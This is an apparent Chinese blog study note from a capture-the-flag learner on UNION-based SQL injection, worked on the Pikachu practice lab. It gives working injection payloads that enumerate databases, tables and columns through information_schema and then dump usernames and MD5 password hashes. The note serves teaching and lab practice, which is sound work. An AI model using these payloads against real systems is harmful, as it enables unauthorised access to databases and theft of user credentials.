ctf从入门到放弃学习笔记SQL注入基于union的信息获取 190509

本文介绍了SQL注入中利用UNION查询获取信息的方法,包括理解UNION的用法、通过UNION查询数据库私隐,以及在实际案例中如何爆破表名、列名,并最终解密MD5加密的密码和用户信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

union 联合查询:
可以通过联合查询来查询指定的数据
用法举例:

 select username,password from user where id=1 unionselect 字段1,字段2 from 表名 

联合查询的字段数需要和主查询一致!‘

如何确定字段数??-》order by了解一下吧

在这里插入图片描述
在这里插入图片描述

然后,
用union查询又有什么用呢?
用union的目的是为了获得更多的信息,
说实话,获得那些什么名字的破信息根本没什么鸟用。
要拿到更多的数据库私隐,了解多一点。

那么就会引进一个重要的:库:

information_schema

这个库是可以形象地比喻成国家机密机构,

里面有很多重要的表。
比如:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。
详细表述了某个表属于哪个schema,表类型, 表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

那么可以利用这个库进行查询:
爆破出想要的东西:

案例:
在这里插入图片描述
先找出个构成union的前提先,
再询问一下该表名字,类型之类的:

kobe ' union select database(),user()#

然后知道了表名:
pikachu

用schema去查:

构造:

kobe' union select table_schema,table_name from information_schema.tables
(注意.tables是跨库查询,是支持的)
where table_name='pikachu'#

得出:
在这里插入图片描述
合理猜测,
要的密码和用户信息在这里。

接着

columns登场了

里面有表的列的信息,
应该用视图,存放的吧。

查询语句如下/:

kobe' union select column_name,table_name from information_schema.columns
where table_name='users'#

ojbk:
在这里插入图片描述
快解决了,
知道列和表,一查就出来了:

kobe' union select username,password from users#

在这里插入图片描述
一看就知道是md5加密
解个密就好。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值